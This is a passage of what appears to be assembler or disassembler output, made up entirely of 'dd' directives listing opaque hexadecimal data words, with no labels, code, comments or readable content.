		dd 9241D3B5h, 0BF02C80Eh, 7D43A326h, 5D6F8827h,	8CD45427h
		dd 7B118D94h, 34521A36h, 0BB69308Eh, 152EDD9Dh,	34078D7Eh
		dd 0B8041056h, 53110020h, 0C2D6EE84h, 801695A6h, 53C9B91Ch
		dd 9AAEF4F6h, 0B5E288FEh, 0FBBDFC8Dh, 1BB31F05h, 0B29793C1h
		dd 0BDCE7243h, 0DB516D3Ah, 0FBDCE263h, 0C2959175h, 0D671C8DFh
		dd 0D3F3EB39h, 0A8048D99h, 0FE6A779Fh, 6B8A182Bh, 6719319Fh
		dd 9B651132h, 76E8A2FCh, 54957BDAh, 29166182h, 0C18D4DE4h
		dd 0EE4024C5h, 0C8B33C38h, 0BA185E84h, 0D66678F0h, 0F13EF42Ah
		dd 0EB8342E7h, 0BC38C81Eh, 0DF546612h, 2F6A2725h, 430B281Fh
		dd 94E4241Bh, 2A87376Dh, 153A6E6Dh, 1847BA90h, 63CF89CFh
		dd 12415E11h, 0B80B828Ch, 8391A97h, 85C70569h, 79A90B56h
		dd 44F2BFFBh, 40FF81B5h, 0A13EEF23h, 9C77FCDFh,	5B7F03BEh
		dd 71AF089Eh, 49F6C31Eh, 710A29C1h, 72277969h, 0B9109C47h
		dd 92C8594Fh, 8726DA74h, 0D8EF91E1h, 4F1522D2h,	82AF1D21h
		dd 1247161Dh, 42998781h, 487C77CCh, 6735FD46h, 50008066h
		dd 0C32808E1h, 0E2B89D79h, 9A130DA1h, 17797B69h, 0BB1D5F03h
		dd 7E6DB2EAh, 3A67284Ah, 6FED15C7h, 641B0F3Bh, 0CC76B2DEh
		dd 0A8533C4Bh, 92EEE5Fh, 5C04E4D2h, 0DD81D0ADh,	289CDFBAh
		dd 0E3E4790Ah, 1DA2FEFDh, 5428D24Eh, 8D553FCFh,	3E30FD4Ah
		dd 9A7DE116h, 8232C795h, 40F7AB25h, 458EF428h, 9E60862Dh
		dd 0C31CEE7Eh, 85D222D6h, 402D4956h, 0E7CC1D8h,	0BAC99ED4h
		dd 0D6EAB048h, 6ED9C9F6h, 744A86AAh, 43CE5644h,	214799B6h
		dd 140A550Dh, 0C0C31520h, 0A1FDADA5h, 0E26D1483h, 0AB75FDCCh
		dd 24773B0Bh, 92698C10h, 4CB84992h, 4EA12DA0h, 0A1521F3Ch
		dd 15638423h, 0B177C15Dh, 39D536Bh, 8BFA173h, 36AECE4Eh
		dd 0D2CC2C73h, 0E163D8CEh, 63D9FE82h, 5B0045DEh, 0C68F45EFh
		dd 0A200EF01h, 7DDF49FFh, 1B283CDh, 5EA022A0h, 0AA3F66E2h
		dd 187AD93Dh, 25992578h, 0B141CD97h, 12B91DAh, 6BA7D54Eh
		dd 0C19AF955h, 0DFEC9F4Ah, 842CD669h, 9ACF17Fh,	6808C4F3h
		dd 7F6A14E2h, 1F58CDBDh, 3DEF29h, 2230EFD6h, 880D797h
		dd 394D79B4h, 0FAD97157h, 0C57B895Bh, 4FA40B5Fh, 0E4D39DFCh
		dd 8E30B925h, 0CD592669h, 560D37DFh, 4414F0A8h,	2405B500h
		dd 0EE24049h, 7D0B857Fh, 0D966DE69h, 79C9BD5Ah,	1EBE9444h
		dd 3CD8DB00h, 91D7DD3h,	0E4114DD0h, 1B636351h, 0DF08692Ch
		dd 582D55C2h, 39D66EDFh, 395DD74Fh, 8B665Dh, 0C7018B76h
		dd 0AEEEA369h, 0CC1A218Ah, 67AD0901h, 378BAB70h, 0B70557FDh
		dd 1F1D65BFh, 6D81E78Dh, 6BD8B288h, 9E9851Fh, 0F07C226Ch
		dd 8427EF7h, 4F48DBD9h,	90D86393h, 0BF94E1DCh, 9B0DA003h
		dd 6C99BC09h, 0A94AF81h, 0A2542FDh, 0B3A36057h,	0C79EB83Fh
		dd 483AC40Eh, 41C94814h, 5B03F6B7h, 0B3909034h,	0BBD6BFA8h
		dd 14852A72h, 330CE828h, 0F5C436D1h, 0A56F9D23h, 0C4B49F6Ch
		dd 7CDD66EEh, 6C5829C5h, 0D5E6CF7Ch, 5DD4CD1Bh,	0E38FBC74h
		dd 0C50A2FB3h, 0E56FA859h, 22384D24h, 4315814Eh, 7DB7B8Bh
		dd 607D8B2Ah, 7F2F3E3Fh, 0F0AC8A6Ch, 6BD0BD9Fh,	0CF908744h
		dd 668FECA3h, 0A033F57Fh, 58A55A77h, 3E1013F7h,	96D2279Eh
		dd 336D0FDEh, 3975BABBh, 5ECB0119h, 4140C081h, 0A075C6BFh
		dd 0D8CBD07Bh, 2258C0B8h, 0BB09CCFDh, 2057BE1Ch, 6E68738Ah
		dd 243CC661h, 527C241Dh, 4FA18B83h, 3D94CBE2h, 0A0A44EBBh
		dd 6CA7D308h, 4186E3ACh, 6DC9901Bh, 0BAE0D740h,	0C71608D0h
		dd 1BAAA6C8h, 0D96E1916h, 0B2C5AE00h, 2176200Eh, 63AEC8A5h
		dd 8FB9F6E8h, 0A8607885h, 1EDBD1E1h, 0DD42B37h,	4EF23FDBh
		dd 0FA122101h, 9D9DA432h
		dd 63A2DEA2h, 0A0D90338h, 82884955h, 224806C4h,	0D79369B4h
		dd 52429CD3h, 7BFF2EFDh, 0FEB19FE6h, 2A8AA127h,	8D17089Dh
		dd 69A7EB17h, 0B741A348h, 0D6218D9Dh, 0F9C50C84h, 18D9FE97h
		dd 945F061h, 0BBEEE6E0h, 3FC396Dh, 269B895Dh, 3D3FAE11h
		dd 1685B56Fh, 264543A2h, 0C932F1D9h, 556E9B2Ah,	94E29AB6h
		dd 7AA9EB1Ah, 56135F05h, 8BC7C12Ah, 0E6CD5B8Dh,	390F9F37h
		dd 1FB29935h, 9181D46Fh, 0A4BBE879h, 69FE7A5Bh,	34CCFDDh
		dd 0E24688CDh, 0DF9C347Ch, 0FC8543E1h, 34E12238h, 0C7D5406Ah
		dd 0BEC4021Fh, 8C27B25Ah, 0C053D508h, 25908C7Bh, 0BFB55CC1h
		dd 0B00D5D1Ch, 0D47E5DA4h, 8979CED3h, 61B45DCh,	0C515B53h
		dd 0A4D08C06h, 8A9268A5h, 18CBCB54h, 0C50B435Eh, 0F339E9DEh
		dd 0F31470BBh, 539D4F9h, 63410471h, 7D90CFE8h, 0B7DF5913h
		dd 255C7A04h, 0B65CC3ADh, 1AA3E850h, 0E3B6E294h, 7AF0562Ch
		dd 0DCE8C926h, 0F79E203Dh, 641E8C87h, 3C64FCC4h, 27DDA53Bh
		dd 4378281Eh, 6F03EDC4h, 5FF46C0Dh, 6C7F3036h, 609E07F4h
		dd 0BF610557h, 90507190h, 0EF8D04F7h, 850D8C0Fh, 0FFCA7F3Ch
		dd 0E89E4EA5h, 770D5E06h, 736137C8h, 0F5DC0CFAh, 95B328Dh
		dd 5818A603h, 0BB64B586h, 78C1707Dh, 52BBB087h,	590D9CFDh
		dd 6039377Bh, 28E18C7h,	0B3DAC4AEh, 93C11F99h, 495A6C4Eh
		dd 121831FBh, 0A40DF23Dh, 2AC3D3C3h, 5C6F5254h,	0F1CECA4Ch
		dd 75089B40h, 0DC0699E9h, 4A1CD528h, 0FA00076Eh, 85B26B31h
		dd 0F5C2FF4h, 0D571A5C3h, 0CE340105h, 33A72902h, 3F8128FEh
		dd 68EEB696h, 8D8FF09h,	34752AB7h, 0AB12E2BCh, 0ACD904E2h
		dd 4F7BA3A6h, 7DEC927Fh, 20D35819h, 0E6D85CCAh,	8900841Eh
		dd 5E689D59h, 0B325495Ah, 0BA1A8C8Eh, 125CDE5Bh, 0FA6BC9D4h
		dd 6CD4D783h, 93E83C9Dh, 0A3DD566Dh, 7F5E46BEh,	9D5999FDh
		dd 0FAABB4C3h, 0F74FE407h, 2414427Ch, 26C171D7h, 0FA57A331h
		dd 85AD43B0h, 0C3BBAA0Ah, 4206DC75h, 5F87CA5Ch,	9C952E4Fh
		dd 0D6B95156h, 0A9A84851h, 0E46C2C6Bh, 17926A17h, 0B8F45DC4h
		dd 38CB8981h, 548D9B4Ch, 50357ABDh, 797BDB1Bh, 0A2B430F4h
		dd 4967365h, 99C05073h,	2EE65AC4h, 5D0EE93h, 13277C67h
		dd 0E728DBBFh, 0B87A592Fh, 3EFE5054h, 3C523F41h, 3E82610Bh
		dd 8D6DA63Ch, 71B92CEBh, 0DBA05BBh, 3F06C9B1h, 4FE45812h
		dd 8147483Dh, 0FB957535h, 0A270A1C6h, 8FA22D16h, 388D95DEh
		dd 73A6C3C4h, 9A1FA085h, 0B41AAD17h, 0B50573ABh, 0C46B4576h
		dd 0BD00CC86h, 47813AE9h, 0B5E8BDF5h, 0A74A88Ch, 0DDC766A2h
		dd 3D65493Ch, 0C08E1EDAh, 0B2C4FF29h, 924F554Eh, 0AA199B52h
		dd 0F57BD934h, 93E40FD5h, 11DADE4Eh, 2FF31641h,	278F539Bh
		dd 0B46A621Ch, 0C7EEF93h, 0E04A52D6h, 4AE7EDF9h, 0C920CD7Ch
		dd 7433D1F0h, 0CAF467BCh, 0AAC442Bh, 2A80DB3Ch,	0E06C8h
		dd 95765125h, 6ECAADF0h, 0E7B64BA3h, 40620787h,	3E75467Ah
		dd 967D3A71h, 69C9036h,	387E821Ch, 0C237836Eh, 0BA49EDF8h
		dd 1A031DDDh, 0EDFEBA66h, 0A28CA0EDh, 6815A50Fh, 0FD130632h
		dd 0BC21E9F0h, 566C3A81h, 4003ECC9h, 0CF0823B1h, 0FDC4C521h
		dd 4067CAAFh, 3B315EBAh, 75BCA379h, 5ECECFDBh, 3ABD2E64h
		dd 4F8A936Bh, 70BC5285h, 0C1C8D0DDh, 19B66C16h,	80586294h
		dd 17630DD8h, 0ECB66579h, 2662306Eh, 85EFB884h,	0CA84371Bh
		dd 0A9DE86C4h, 0C0DBCF94h, 0D300E415h, 0D3C53310h, 0D9A0A493h
		dd 169543Eh, 88D9D984h,	6707CFDAh, 3516F712h, 65791BD6h
		dd 4B315189h, 0F525E481h, 41D030C9h, 0B8CFEDB2h, 0E5807AB6h
		dd 67E89DF3h, 11A8C165h, 73D3E1Ch, 3F26730Ah, 91C82963h
		dd 52F0BCE7h, 0AAFFF11Dh, 97D17A46h, 0B7622C0h,	32A4336Dh
		dd 0CEC40CC9h, 0A4959ABEh, 2AD18E87h, 2AD1A222h, 0E836373Bh
		dd 2DB4B93h, 0C20BDE1h,	0D7D494ACh, 8E62D751h, 78AF70F2h
		dd 3DF67D86h, 0F1F098F0h, 0A467933Eh, 0E5635E0Bh, 0FAFE6D40h
		dd 34AB1A7Bh, 0B4CDBED9h, 0AB1055BDh, 30DFD2B2h, 8EE37DBCh
		dd 447BE774h, 0CBD18B3Ch, 88155C55h, 5A833413h,	0B75A3BEh
		dd 0F317C731h, 0DB6F6108h, 0A6890B3Bh, 741762D0h, 0EB43EAF9h
		dd 581A33F8h, 0F38E4D4Fh, 0E0373314h, 712E49BAh, 67E09B97h
		dd 0DD87527h, 0DBEC7B0Fh, 37E73AEAh, 7DC89B03h,	46C41BA3h
		dd 2CE4DA85h, 0F3A3BE54h, 0EA9DA3Ch, 0AF6EE4F9h, 24A62472h
		dd 0E81395ADh, 0C0E8DE5Fh, 0A8EE00E1h, 11A11C89h, 0F5164FE5h
		dd 0D39EF249h, 81BFF3F9h, 69552AF6h, 0C41CB053h, 8790EDEFh
		dd 26207580h, 0F5849212h, 727045E7h, 310CDF2Ch,	0D774F154h
		dd 0F487132Eh, 0FDAD9E6Dh, 9285E573h, 5D9503BBh, 428F667Eh
		dd 3AD4BFF2h, 3A288606h, 7F2F16E4h, 36DF18D0h, 0DFAAECF6h
		dd 0EE8A082Ch, 0C4CA22C7h, 2ECDD413h, 50CB4F24h, 0BCA26793h
		dd 8E22375Ch, 0F70742B9h, 0CD1799F5h, 0A916026Ah, 4D8D5B95h
		dd 0EFA283A6h, 7E2B2A9Ah, 0D8188D99h, 1EB2E95Bh, 17CA799Fh
		dd 0CD38D11Ah, 2B502DD6h, 0E469020h, 76A7F623h,	8A89AE51h
		dd 0F0F3E806h, 0AEF31476h, 0A33D40D8h, 9037E5BCh, 55A99FC7h
		dd 0A30CAA38h, 0BFB9F1AFh, 1C0074CFh, 827BCA82h, 2B0D3947h
		dd 6012207Dh, 7836E69Bh, 43D91D9Bh, 0E4FACCDEh,	530FD305h
		dd 0F335ABA1h, 0B372E8FFh, 7B775DE3h, 23F42A34h, 1FE1A4D3h
		dd 781C7BF2h, 0CA290498h, 3D5FAF09h, 0E5B8984Dh, 7F845DB6h
		dd 61C58F90h, 0E501AEB9h, 0F8C611DCh, 0DEA976D4h, 2D12C135h
		dd 0AC9DF661h, 0D2E911A9h, 0FFA4F1F6h, 1FCD06C9h, 0FC3B1271h
		dd 3AC6C552h, 97D9B5B0h, 6DA6B3BBh, 0BE0ABCD2h,	0B3780DEFh
		dd 3A5E910Ch, 2004458Ah, 97394A67h, 427DCA47h, 88456CC7h
		dd 4B5EF9ADh, 20ED1FCh,	0E833521Bh, 8F7DB26Dh, 0CD694F43h
		dd 1949CBCh, 0CA0F2B07h, 0DF43017Bh, 1E3A865Ah,	150DB2Eh
		dd 9493C096h, 967C1A85h, 5F72D19Fh, 0DC9CF69Ah,	13AA57F1h
		dd 7F722CBFh, 343F7868h, 349F4CA3h, 94D4C269h, 8BAEA312h
		dd 1B69C165h, 0FFFADF21h, 10FB0F41h, 48F059FEh,	0AB7C0064h
		dd 0E3D2514Fh, 75E8193Ah, 0E79D399h, 4FA50B9Ah,	0FE4B781Eh
		dd 0CB627E3h, 3BAE8022h, 0B1E6D3E0h, 2F4493D5h,	0A0D2210Dh
		dd 708BFFF0h, 9052E442h, 4972BEFAh, 32164E1Ah, 0C57004FFh
		dd 0D7061CBh, 19E36DEFh, 5A926CACh, 5AB06E4Dh, 0D0F7D951h
		dd 31E47A09h, 92F8FD02h, 424A6535h, 0BC97ABCDh,	5EAAD26h
		dd 77C5941Ch, 6661FEE0h, 0A9C3AC72h, 173640B8h,	0A02ACD15h
		dd 1DF79C32h, 9A5A2EEFh, 0CBCCB1BEh, 65A24A31h,	3C215731h
		dd 0EAB9C16Eh, 0CD9D283Bh, 0FB040A6Eh, 2B236F50h, 35F72DD1h
		dd 0A5D7EC05h, 0FF023D6Bh, 5B7307ACh, 71B00904h, 79518E8Eh
		dd 0C4B002A6h, 70070105h, 0CA5F6B9Ah, 2FA49E0Eh, 293048F3h
		dd 0C848576Ah, 221F36DCh, 88C08211h, 6D94DDDEh,	34C65868h
		dd 5A89F163h, 7CD7E82Ch, 3BD393E6h, 16C2EC23h, 24A19B12h
		dd 0EF6C27D7h, 1479A569h, 15ED661Bh, 1537C8D2h,	3FBB1D65h
		dd 732AF47Ch, 0E708FBEh, 211DBC02h, 21A5848h, 19954C14h
		dd 7356BB46h, 0D7FC9B29h, 0C22A6D57h, 0F87620D1h, 917AD422h
		dd 0BBD98455h, 5C2F855Bh, 0C44AA038h, 52C58CC7h, 0AFD6D736h
		dd 8F47ADEEh, 5B22D1C9h, 28F38273h, 4F31F278h, 0D41E1D1h
		dd 60821CC4h, 829E3363h, 0EC2104BFh, 8D8A5D42h,	26905C50h
		dd 0E8BCC95Ah, 454C797h
		dd 6D2F0253h, 0C175C90Dh, 194B89C2h, 476E1E18h,	195E72E1h
		dd 0C79A195Ch, 0AA824F49h, 0A9048111h, 12DF057h, 9FE8EBB2h
		dd 4884FE2h, 83470012h,	1BC957BFh, 0B8317975h, 17B20CBDh
		dd 5B513A05h, 4A3155F8h, 72CC467Ch, 27534930h, 91B584B4h
		dd 0F9FF58E2h, 9175EBCCh, 13D6D2C7h, 0D73EE352h, 0C038DEC0h
		dd 49951619h, 0E5DA0C13h, 0CAD1D64Dh, 0F4375413h, 998D31CBh
		dd 0D345A3E8h, 0E049384Ah, 0E7983907h, 0CB962F24h, 60DF8FB6h
		dd 878DD878h, 0A9A4461Ah, 0A7E51F27h, 78FFB950h, 0E77B7B87h
		dd 0A835FCABh, 0BE30073Fh, 415C5B20h, 0E1739712h, 2A4458E7h
		dd 4A34DB67h, 72D75A82h, 34A63A56h, 422FA411h, 0C6770961h
		dd 55BA73B1h, 6B3EE493h, 574EB9D1h, 7F691E40h, 8A9DD6B5h
		dd 8BEBAF9Bh, 5F1F6A8Bh, 1E7EBDB2h, 293FB718h, 0CB55E799h
		dd 3FC590C8h, 0F3B58E0Fh, 0C56CC492h, 40CD889Bh, 0E7864F61h
		dd 3976F80Ah, 0AE6B3E2Bh, 0E085C6BAh, 4831017Bh, 53F4D57Ah
		dd 0AA9F3E12h, 44294F7Ah, 0A56FD2ECh, 79F7C71Dh, 0D40EF4B8h
		dd 0FBEF65DCh, 49794738h, 0AB553F4Ah, 68BC9980h, 0FA39A7E3h
		dd 0A109FB69h, 0E55EA2D5h, 7927D9ABh, 96D001DDh, 63643E70h
		dd 7C3256C5h, 0B289B019h, 155595B0h, 704CD61Ch,	7AB63DA5h
		dd 3D3AF22Fh, 74578755h, 0BABFB8Ah, 0A8E8341Bh,	0ADF3C24Fh
		dd 60A2A1A7h, 8D4F650Ch, 0BBB84087h, 77871326h,	0ED5FFA9Ch
		dd 523E2FD9h, 2AB44192h, 2B0E7C27h, 0FA2CFF4h, 3AFDDBD6h
		dd 98423AA4h, 8C742E04h, 17AACA82h, 3CC8F897h, 0AF02322Eh
		dd 0AE9D0B6Ch, 77CF0689h, 62B26EBBh, 1DAAF490h,	4ED6A06Dh
		dd 0BEA86347h, 69C92DD6h, 599A5C13h, 5E8D84F6h,	0D2546866h
		dd 0D8FD3807h, 5BE7237Bh, 2EDB9143h, 19CB706h, 9F480FADh
		dd 0AB1A2248h, 2B40CC1h, 0EE83F778h, 0BD5E1B0Dh, 5A7EDF20h
		dd 0A8FB70AEh, 6BD4297Ah, 0DBE6199h, 0EF0837EEh, 3E981097h
		dd 0DFF04DA0h, 0C6CF967Fh, 45513262h, 6DB84C51h, 836A49FBh
		dd 0DCE170ECh, 0F5420F12h, 9921BFC9h, 581D83AAh, 6AD55EC0h
		dd 453B1EFh, 0B85B532Bh, 631E9982h, 0C54C686Ch,	50EF39D0h
		dd 1B67051Bh, 4ECFF33Bh, 50C9388h, 0AA341F7Eh, 0BF4CFA9Bh
		dd 1A264B48h, 0DEEBC7DCh, 7D694A78h, 6A4F1C03h,	0B771FC95h
		dd 0E7D66DE0h, 1A0F3AA5h, 0B061FB07h, 80835826h, 7E5C8C0Fh
		dd 0B363725Ah, 29E92078h, 2551FEB0h, 1C4E1821h,	33E025D0h
		dd 4D04EF1h, 87FCE60Dh,	0B86EB73Eh, 44199E87h, 9B829F94h
		dd 0B9C3557Ch, 2A81F66Fh, 0A772724Eh, 0B6F8AF92h, 6A23CFA2h
		dd 8A99785Bh, 0C09350D9h, 5F364FC2h, 0C8056254h, 972F0396h
		dd 951DFEEDh, 2FBAE4F9h, 1397CA2Dh, 0EF13CB5Ch,	69199C80h
		dd 10F47197h, 51BC23C7h, 0B9A82A9h, 0B0171A3Bh,	1542E979h
		dd 0F0FB7CE5h, 4DC7B84Dh, 0D7DFDF54h, 0F480E269h, 0BE7E37C9h
		dd 0EC5F7548h, 6D870B5Ch, 80B32768h, 0BCB2C78Eh, 80C88D68h
		dd 1878E5B0h, 828BA88Dh, 57C8C53Ah, 8E9EE93Ah, 4499B0h
		dd 9752D53Dh, 2F8E0B32h, 56C56430h, 1AC05D94h, 380480F3h
		dd 0AA2CD3Eh, 0F5A8F5D6h, 93672D84h, 65C3C87Ah,	0DFA103E4h
		dd 0EB89421Bh, 0EEEA518Eh, 2894F0F0h, 0E4BD49F7h, 61AC70B0h
		dd 6D6735C9h, 86EEC7D8h, 4256B56Ch, 0C9F020AEh,	218ADA0Bh
		dd 2426DD73h, 89694C02h, 3E9901F1h, 5DCD1902h, 0E04B9B50h
		dd 81AE9296h, 8F1B70DBh, 0AD197D9Bh, 0DCB32883h, 0E52F032Fh
		dd 502AD4A3h, 4FFD5EE6h, 0F7614841h, 9097EEF8h,	0E75223B4h
		dd 4A89CDC3h, 91E12EF3h, 0B6AA3E31h, 25FF5D16h,	0C047E21Ah
		dd 39A38E92h, 0ACF9CA3Ch, 25D3017Ch, 2FC834D2h,	3C19ADC0h
		dd 0A7FEBB88h, 8F670145h, 0DE04D94Ch, 0B10F298Ch, 0BF2FD002h
		dd 45158E76h, 4DFF5D63h, 3609F1B5h, 87F9A7F2h, 86BB78CEh
		dd 0B29CE23Ch, 8101B3A0h, 1E8AE313h, 9757B9E5h,	7C4C0B3Bh
		dd 6C1A56E1h, 0C4564536h, 0F7EF9F0Dh, 1C326BA7h, 9BAA3B91h
		dd 0DD661119h, 33064716h, 6CF8C574h, 0B69E679Dh, 0B5C25AB6h
		dd 1D16ED26h, 0E4BCC337h, 9940C44h, 0FD56E96Ch,	5142733Ch
		dd 73E5BA89h, 0CF08169Bh, 0FABF32C2h, 0EC19B95Ah, 3BD51C3Ah
		dd 804B0963h, 0CA53EF4Eh, 70BACE06h, 0AA723EABh, 0D83C1Eh
		dd 19A341Ah, 0D36DB30Bh, 3A9637F1h, 823006C3h, 852CA94Ch
		dd 8F3422A5h, 0E63E404Dh, 0AA9FC542h, 7410AEC1h, 0B6FAE4F5h
		dd 0ADD0EC9h, 917A13F5h, 0EF487EDAh, 43688682h,	73BF8F09h
		dd 1D605D07h, 852B47C5h, 0A0BFE126h, 31F8B8EFh,	3A7E5551h
		dd 0E21CE0EBh, 0DB0845C2h, 9D951555h, 0B68AD267h, 59AFE38Eh
		dd 0F36F3FDDh, 9C0BA2C5h, 36E86137h, 283EDF4Dh,	0ADBA8F99h
		dd 27F59F3Ch, 0C789F25Dh, 82C5D1Ah, 316162C2h, 0F1A9E0AAh
		dd 0CA25369h, 5B0F0EBAh, 6DEE1681h, 9F6023BBh, 6C5B1714h
		dd 0F9C60ED3h, 0FFF81B03h, 0A24386C6h, 28D8FF5Bh, 1CD9B16Eh
		dd 26A9B386h, 34FFC1DCh, 0A23B93E0h, 252D02EAh,	0AD7B6202h
		dd 0FAA5D95Fh, 8E343E19h, 47480927h, 6C5DD463h,	9B768536h
		dd 4E404708h, 3B1E5D90h, 322673DAh, 1F11EBEAh, 0E48B5AF7h
		dd 1AE5A381h, 2483576h,	4B30D3A4h, 4CD6C91Eh, 0AF0D1F86h
		dd 15AEEA8h, 0C9D80A2Bh, 0CC1D0CF3h, 175CCBDEh,	3216F036h
		dd 5F618E31h, 213C1B25h, 6F035920h, 0CC6BBB97h,	0FA243345h
		dd 9DEF02DDh, 635F17BCh, 0E98EEFCEh, 8443006Eh,	99AEBBB1h
		dd 0AF5FA996h, 0E77A64D3h, 0ABB261E1h, 2D473903h, 0B2BEE782h
		dd 2A5673A2h, 7CD6AD5Ch, 7A6B36E3h, 0DA2B9EFh, 0F792EB6Bh
		dd 6D0D3D72h, 0C9DB67CCh, 0CB16B2A0h, 0B36C00A5h, 0D3ECA489h
		dd 1F5CDDE3h, 0E25E6071h, 0BF97C7A7h, 23EEBAFAh, 0C872EE53h
		dd 8F67FB50h, 9B5F8372h, 75F962EEh, 0C4CDA1ACh,	0BD61FAA9h
		dd 3CB2FD11h, 0BD166F40h, 13DD9F94h, 0B3B88F65h, 92E9D443h
		dd 0D049BD71h, 0D17B0303h, 620B34CFh, 57A8A85Ah, 92AA3DA0h
		dd 0C14E3254h, 798C3A8Ah, 4D4BAD1Ch, 0B74CD8D5h, 0B32B18DBh
		dd 59360E33h, 0F4372EFh, 0E0171D9Fh, 44702C53h,	3E3CC19Fh
		dd 741B5B7Dh, 0FA31BF62h, 4CB07CB8h, 344DF3B2h,	0B4C89887h
		dd 31F13182h, 920559C1h, 0F93850C4h, 0DEABEA2Ch, 2A940506h
		dd 8FE5E95Bh, 0E415F611h, 67D09A30h, 51CB11FFh,	4BBCD5E4h
		dd 0CDC078A0h, 0FEB93B02h, 0D40BB08Fh, 0FE43CC3Bh, 0D063A4EBh
		dd 98446547h, 72B87A52h, 0ED3A0740h, 195BCA99h,	83A49093h
		dd 0D5095D00h, 8CD35132h, 0B839BE89h, 30674CADh, 0F246E0CDh
		dd 0B7E55AF6h, 0EBEF5433h, 4447EF04h, 0B56A3461h, 86AB907h
		dd 6AB4DFABh, 65A10410h, 7853F862h, 7FA4CE6h, 0F42CD714h
		dd 2D9EEA7h, 19E2C1E2h,	7EF1AB7Eh, 0A9CCA1B0h, 5144E85Ch
		dd 0D867C4DAh, 0D66100D4h, 44EF0696h, 20E854A2h, 45434825h
		dd 0A13B512Fh, 4C1B5A4Eh, 0A863FABFh, 0B3BE3F46h, 2319BD20h
		dd 0E0F67DBCh, 0FDA3A0E9h, 4035C011h, 0B5D90E32h, 0BDB46498h
		dd 2960DCC7h, 872DC1A9h, 98318540h, 0FB732CF8h,	497FF045h
		dd 7F1F68DFh, 0B8F0BF99h, 2AE9C288h, 0A7A44260h, 62A242DAh
		dd 42C01384h, 0A868ECDh, 7CF20D9Bh, 0C6CE75Bh, 0B1B0169Ah
		dd 895D3B3Ch, 9F8D2F76h, 2E7D6DB3h, 6E6B2EE3h, 71AD1C25h
		dd 86448F8Fh, 0A91FFCFAh, 0C4A776Eh, 52DE10B7h,	0B26CD7CAh
		dd 49354E32h, 5C7923D2h, 7B36A68Fh, 0D15EF258h,	0AAA982E8h
		dd 0A8EF1DBBh, 53004EB8h
		dd 0D84FE82Ch, 986D1AA3h, 0A9295B87h, 9D9A86A9h, 0EFF2A392h
		dd 13C88FBBh, 83286CB4h, 4966A34Eh, 0D9943658h,	2E8A9115h
		dd 42AF1448h, 0A29948D1h, 1D5349C3h, 0FF2190F4h, 0BBAA55FAh
		dd 79E6ABEFh, 2C2313C0h, 0ED1AF9B3h, 0B6D1DD0Ch, 0F724E5C2h
		dd 14E7ABA2h, 0B19794C0h, 564728D7h, 0A65B85F3h, 0B4DB31ADh
		dd 726007CCh, 0D86AEC04h, 9F17C9AFh, 25998936h,	0B66221C8h
		dd 0B1CBA456h, 5A59B7C4h, 46D5992h, 73FDD97Bh, 1E7B69DCh
		dd 27CC9E50h, 70A651A1h, 0C99CF9C5h, 857209C9h,	689DE1BCh
		dd 7447AB62h, 23790DCAh, 0F869AFC5h, 0DE987FA7h, 3594BAF8h
		dd 23D8FFD9h, 77625F9Dh, 0BD9CBC1Eh, 0F0DC6F01h, 0B34C289Dh
		dd 3F274D85h, 2E34B42Ch, 4214F34Fh, 0BA93E658h,	6834CBA6h
		dd 9D90BA93h, 8A8C97C3h, 13907CEBh, 0AE92E631h,	0EDEC1412h
		dd 342B62F1h, 5100BBDEh, 0FADC6220h, 326D2D66h,	509CA5C9h
		dd 98E46F7Dh, 4A3C64D8h, 0E89451DEh, 0A0084746h, 0CC44D5E7h
		dd 0E8B74377h, 4B6A45BEh, 24C5B51Bh, 686464D0h,	0D4B5D9DBh
		dd 0A1CF1F35h, 1D5DFD5Fh, 0B386E21Dh, 0D02DCE9Bh, 0F69B9C01h
		dd 5126C586h, 1AE511D7h, 0CDD39A28h, 4C3B36ABh,	25338AE7h
		dd 0A42CD869h, 79730674h, 462513A3h, 4B80A579h,	3968DF2Ch
		dd 7AB27F5Ah, 0B9F0A1A6h, 0C6250A04h, 87E8E0E8h, 0C373CF36h
		dd 9D09EFA7h, 0C77729DDh, 85B34BA5h, 0FA9C30F7h, 0D75862CEh
		dd 0E1851BB1h, 9A73A98Ch, 27ADB312h, 0BE427AE0h, 913E7661h
		dd 2E7E63FBh, 4D67338Fh, 75FC6F82h, 9919731Dh, 9AEC8D43h
		dd 5F6736A7h, 17858651h, 23436CF2h, 985DB949h, 71977DC8h
		dd 95D9F604h, 0B89482B9h, 0FBE7FCA9h, 0EADEAB4Ah, 916EFCEEh
		dd 4D71B75Dh, 5BFA3AA6h, 1C5A0EFEh, 0C74E0A10h,	85C14DF2h
		dd 229C1E76h, 0F8707DEDh, 170388CEh, 0A70F64E9h, 2E96E66Ch
		dd 0F4C70E8Eh, 312A033Bh, 0B7D57F07h, 0F1C34B50h, 0F6669EE4h
		dd 43FBB33Bh, 0EC24AEE2h, 8B04019Ch, 9F53708h, 6644B9E4h
		dd 2BA521E2h, 44B6C131h, 8CC1F6Bh, 0E802D167h, 99DC9957h
		dd 14DB400Eh, 2451E928h, 0D2BA6A61h, 0B05D9F40h, 0D23C1BF7h
		dd 3F87126Fh, 0E24015FBh, 575FBC2h, 24C62D79h, 57A8A2C6h
		dd 3F87204Ah, 16E98ECDh, 0D4E13A66h, 8F4BF33Dh,	49CABB9Bh
		dd 7800586Ah, 88480E5Ah, 0E6E3FAC3h, 350CF10h, 0D55F8C83h
		dd 0BE8A4E29h, 917380D0h, 0B17D4FB5h, 0CA8464D4h, 7F21AC90h
		dd 549364DEh, 56D8183Ch, 0B03F3E20h, 7F03C8A7h,	9BA4660h
		dd 46E3885Fh, 8DF573FBh, 2A5B16D1h, 0B95CD03Ah,	24F15D74h
		dd 0A0F457C0h, 63F9A26Fh, 313A7CA1h, 0B914741Bh, 815D8730h
		dd 4AD704BBh, 0D86A5E63h, 4479F3B6h, 364D1E43h,	0C2828083h
		dd 8C43181Eh, 0B8AD2B4Bh, 9D5DC4A4h, 0DCAB487Eh, 66995B34h
		dd 117AA2A8h, 0A77A1921h, 0B41FCDEAh, 0B4828C1Ah, 0ADC7923h
		dd 50A1865Ah, 23B069B6h, 0CA0FF489h, 33E62E8Bh,	71C29153h
		dd 0E00BB030h, 2BF660E6h, 0FDCFDC10h, 1519782Dh, 77101E20h
		dd 35C4EAA3h, 676331FEh, 626C712h, 0B4CDCD09h, 1C7B297Bh
		dd 18F4E268h, 0A1E80D23h, 2DB18D12h, 0B6A16952h, 6FF0E53Dh
		dd 452FF6C0h, 60AAC401h, 0D1448926h, 0CE4A5EBAh, 8D57A117h
		dd 0D0F500F9h, 71007ACDh, 18BB88BDh, 43229F0Dh,	74ABB76Ch
